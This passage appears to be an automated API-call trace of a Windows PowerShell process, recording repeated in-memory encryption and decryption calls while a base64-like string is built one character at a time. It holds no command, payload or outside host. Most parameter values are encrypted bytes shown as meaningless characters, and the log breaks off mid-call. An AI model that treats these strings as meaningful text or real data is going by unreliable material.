(param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡퇶𢡄鞢ዚ䨴ꋻŹ") returned 0x30 [0224.190] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡퇶𢡄鞢ዚ䨴ꋻŹ") returned 0x30 [0224.190] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.190] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5UpYbnSoꢰ⻩ﰏ㹮粚") returned 0x30 [0224.190] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.190] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡뉍ӑ쎗컳ᮏ⌾\裞∃) returned 0x30 [0224.190] SysStringLen (param_1="ႝㅑ㨜ߟヲ\ꛘમᠵ萶\ﳚ㰎柒젞䡞乏塭䶜栤䢚㮗횎倯䣁ⴾ▙⑐叴㑰מቾꔆ䩰䴝놡뉍ӑ쎗컳ᮏ⌾\裞∃) returned 0x30 [0224.190] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.190] SysStringLen (param_1="cNfJUHpDHcAJLCCr3PncxbKbQfYb9owRspA5UpYbnSo=⻩ﰏ㹮粚") returned 0x30 [0224.190] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0224.191] EtwEventActivityIdControl () returned 0x0 [0224.191] EtwEventActivityIdControl () returned 0x0 [0224.191] EtwEventActivityIdControl () returned 0x0 [0224.192] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.192] EtwEventActivityIdControl () returned 0x0 [0224.192] EtwEventActivityIdControl () returned 0x0 [0224.192] EtwEventActivityIdControl () returned 0x0 [0224.193] SysStringLen (param_1="") returned 0x8 [0224.193] SysStringLen (param_1="N") returned 0x8 [0224.193] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.193] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0224.193] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0224.193] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.193] SysStringLen (param_1="ND") returned 0x8 [0224.193] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.194] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0224.194] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0224.194] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.194] SysStringLen (param_1="NDZ") returned 0x8 [0224.194] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.194] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0224.194] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0224.194] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.194] SysStringLen (param_1="NDZl") returned 0x8 [0224.194] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.194] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0224.194] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0224.194] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.195] SysStringLen (param_1="NDZlO") returned 0x8 [0224.195] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.195] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0224.195] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0224.195] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.195] SysStringLen (param_1="NDZlOD") returned 0x8 [0224.195] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.195] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0224.195] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0224.195] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.195] SysStringLen (param_1="NDZlODR") returned 0x8 [0224.195] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.196] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0224.196] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0224.196] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.196] SysStringLen (param_1="NDZlODRm") returned 0x8 [0224.196] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0224.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0224.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0224.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0224.197] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.197] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0224.197] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0224.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0224.197] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.197] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0224.197] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0224.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0224.198] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.198] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0224.198] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0224.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0224.198] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.198] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0224.198] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0224.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0224.198] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.199] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0224.199] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0224.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0224.199] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.199] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0224.199] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0224.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0224.199] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.199] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0224.199] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0224.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0224.200] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.200] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0224.200] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0224.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0224.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0224.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0224.201] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.201] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0224.201] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0224.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0224.201] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.201] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0224.201] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0224.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0224.201] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0224.202] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0224.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0224.202] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0224.202] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0224.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0224.202] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0224.202] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0224.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0224.203] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0224.203] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0224.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0224.203] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0224.203] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0224.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0224.203] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.271] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0224.272] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0224.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0224.272] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0224.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0224.273] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.273] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0224.273] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0224.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0224.273] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.273] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0224.273] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0224.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0224.274] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.274] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0224.274] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0224.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0224.274] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.274] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0224.274] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0224.274] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0224.274] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.275] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0224.275] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0224.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0224.275] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.275] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0224.275] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0224.275] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0224.275] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.276] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0224.276] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0224.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0224.276] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.276] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0224.276] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0224.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0224.276] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0224.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0224.277] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0224.277] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0224.277] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0224.277] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.277] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0224.277] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0224.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0224.278] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.278] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0224.278] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0224.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0224.278] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.278] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0224.278] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0224.278] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0224.278] SystemFunction041 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.279] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0224.279] SystemFunction040 (in: Memory=0x5c922fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c922fc) returned 0x0 [0224.279] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0224.279] SysStringLen 